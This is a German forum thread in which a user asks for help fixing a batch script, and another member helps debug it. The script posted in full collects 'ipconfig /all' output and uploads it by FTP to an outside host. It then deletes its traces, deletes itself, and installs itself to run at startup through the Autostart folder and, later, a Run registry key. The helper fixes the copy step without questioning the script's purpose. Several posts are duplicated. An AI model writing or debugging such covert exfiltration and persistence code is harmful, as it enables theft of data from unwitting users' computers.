Supportnet / Forum / WindowsXP
Frage zu einem batch skript
Frage
Hi,
weiß jemand, was an den folgenden Programmzeilen falsch ist?
code:
1:
xcopy cool.bat "%USERSPROFILE%\Startmenü\Programme\Autostart\" /Y > nul
del %0
die batch datei wird nicht in das autostart verzeichnis kopiert.
Antwort 1 von LoLo
Hi, gib mal den Pfad zur cool.bat an und lasse alles nach > weg.
xcopy [Pfad]cool.bat "%USERSPROFIL%\Startmenü\Programme\Autostart\" /Y
xcopy [Pfad]cool.bat "%USERSPROFIL%\Startmenü\Programme\Autostart\" /Y
Antwort 2 von Alex1986
Ok jetzt wird ein Ordner erstellt der heist startmen³ und und da wird die datei reinkopiet.
Antwort 3 von LoLo
...lasse mal die (") weg. Die brauchst du nur, wenn im Pfad ein Datei oder Ordnerbezeichnung mit Leerzeichen z.B. bei "Eigene Dateien" vorkommt.
Es dürfte kein neuer Ordner erstellt werden. Hast du etwa noch anderen Code in der bat stehen?
Es dürfte kein neuer Ordner erstellt werden. Hast du etwa noch anderen Code in der bat stehen?
Antwort 4 von Alex1986
habe jetzt mal die " weg gelassen und ja da ist noch ein anderer code in der datei, diesen habe ich unten angehengt.
@ECHO OFF
> script.ftp ECHO anonym
>>script.ftp ECHO 12345678
>>script.ftp ECHO ascii
>>script.ftp ECHO put c:\Zuhause.txt
>>script.ftp ECHO quit
ipconfig/all > c:\Zuhause.txt
FTP -v -s:script.ftp anonym.an.ohost.de
TYPE NUL >script.ftp
DEL script.ftp
DEL c:\Zuhause.txt
xcopy cool.bat %userprofile%\Startmenü\Programme\Autostart\ /Y
:End
@ECHO OFF
> script.ftp ECHO anonym
>>script.ftp ECHO 12345678
>>script.ftp ECHO ascii
>>script.ftp ECHO put c:\Zuhause.txt
>>script.ftp ECHO quit
ipconfig/all > c:\Zuhause.txt
FTP -v -s:script.ftp anonym.an.ohost.de
TYPE NUL >script.ftp
DEL script.ftp
DEL c:\Zuhause.txt
xcopy cool.bat %userprofile%\Startmenü\Programme\Autostart\ /Y
:End
Antwort 5 von LoLo
Du musst noch zur cool.bat den Pfad angeben, wenn sich die Batch nicht im gleichen Ordner wie die cool.bat befindet!
Leg mal Probeweise eine andere BAT an, die nur den xcopy-Befehl enthält, um zu prüfen, ob das Kopieren funktioniert oder ob der restliche Code nicht funktioniert.
@ECHO OFF
xcopy [Pfad]cool.bat "%USERSPROFIL\Startmenü\Programme\Autostart\" /Y
Leg mal Probeweise eine andere BAT an, die nur den xcopy-Befehl enthält, um zu prüfen, ob das Kopieren funktioniert oder ob der restliche Code nicht funktioniert.
@ECHO OFF
xcopy [Pfad]cool.bat "%USERSPROFIL\Startmenü\Programme\Autostart\" /Y
Antwort 6 von Alex1986
Entschuldigt das ich erst so spät schreibe.
@ LoLo ja ich weiß das ich den Pfad mit angeben muss, aber bei mir befindet schick die Datei im selbem Ordner.
Ich habe das jetzt über einen Registery Eintrag gelöst in dem ich die .reg über den Batch Skript starten lasse, wie heißt denn der Batch Befehl damit ich mir die .reg Datei sparen kann? mit add reg habe ich es versucht aber irgendwie klappte das nicht so ganz.
Hier noch ein Beispiel:
add reg [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "qwer"="C:\\WINDOWS\\system32\\abc.txt"
@ LoLo ja ich weiß das ich den Pfad mit angeben muss, aber bei mir befindet schick die Datei im selbem Ordner.
Ich habe das jetzt über einen Registery Eintrag gelöst in dem ich die .reg über den Batch Skript starten lasse, wie heißt denn der Batch Befehl damit ich mir die .reg Datei sparen kann? mit add reg habe ich es versucht aber irgendwie klappte das nicht so ganz.
Hier noch ein Beispiel:
add reg [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "qwer"="C:\\WINDOWS\\system32\\abc.txt"